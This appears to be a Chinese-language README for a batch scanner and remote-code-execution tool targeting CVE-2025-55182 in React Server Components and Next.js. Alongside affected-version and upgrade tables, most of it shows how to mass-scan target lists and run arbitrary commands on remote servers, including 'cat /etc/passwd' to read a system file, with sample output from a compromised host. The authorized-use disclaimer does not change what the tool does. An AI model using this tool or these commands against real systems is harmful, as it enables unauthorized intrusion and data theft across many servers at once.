针对 CVE-2025-55182 (React2Shell) 远程代码执行漏洞的批量检测与验证工具。
⚠️ CVSS 10.0 严重漏洞 | 影响 React Server Components 及 Next.js 15.x/16.x 版本 | 仅限授权安全测试使用
CVE-2025-55182(又名 "React2Shell")是一个 CVSS 10.0 满分严重等级 的未经身份验证的远程代码执行 (RCE) 漏洞。
该漏洞源于 React Server Components (RSC) 的 react-server 包在处理 RSC "Flight" 协议时存在的不安全反序列化问题。攻击者可以通过发送特制的 HTTP 请求,在存在漏洞的服务器上执行任意代码。
由于 Next.js 使用了 RSC "Flight" 协议,因此即使是使用 create-next-app 创建的默认配置应用程序,也可能在开发者无需编写任何额外代码的情况下被利用。自 2025 年 12 月 5 日起,已监测到该漏洞被活跃利用
React Server Components 受影响版本:
| 包名 | 受影响的版本 |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Next.js 受影响版本(使用 App Router):
可能受影响的其他 RSC 框架/工具:
⚠️ 重要提示:此漏洞没有已知的临时缓解措施,升级到安全版本是唯一的修复方案。
推荐升级版本:
可使用官方提供的 fix-react2shell-next npm 包协助更新受影响的 Next.js 应用。
pip install requests
# 批量扫描 (从urls.txt读取目标)
python CVE-2025-55182.py -f urls.txt
# 单目标测试
python CVE-2025-55182.py -u http://192.168.1.100:3000
# 执行 whoami 命令
python CVE-2025-55182.py -f urls.txt -c "whoami"
# 执行 hostname 命令
python CVE-2025-55182.py -u http://target.com -c "hostname"
# 读取文件
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# 指定线程数和超时时间
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# 自定义输出文件
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# 静默模式 (只输出漏洞URL)
python CVE-2025-55182.py -f urls.txt -q
每行一个URL,例如:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
扫描结果保存为 CSV 格式,包含以下字段:
url - 目标URLstatus - HTTP状态码vulnerable - 是否存在漏洞output - 命令执行输出error - 错误信息本工具仅用于授权的安全测试,请勿用于非法用途。使用者需自行承担相关责任。
| 主版本 | 受影响的版本范围 | 修复版本 |
|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
| 参数 | 说明 | 默认值 |
|---|
-f, --file | URL列表文件 | urls.txt |
-u, --url | 单个目标URL | - |
-t, --threads | 并发线程数 | 20 |
--timeout | 请求超时(秒) | 10 |
-o, --output | 输出CSV文件 | results.csv |
-c, --command | 执行的命令 | id |
-q, --quiet | 静默模式 | false |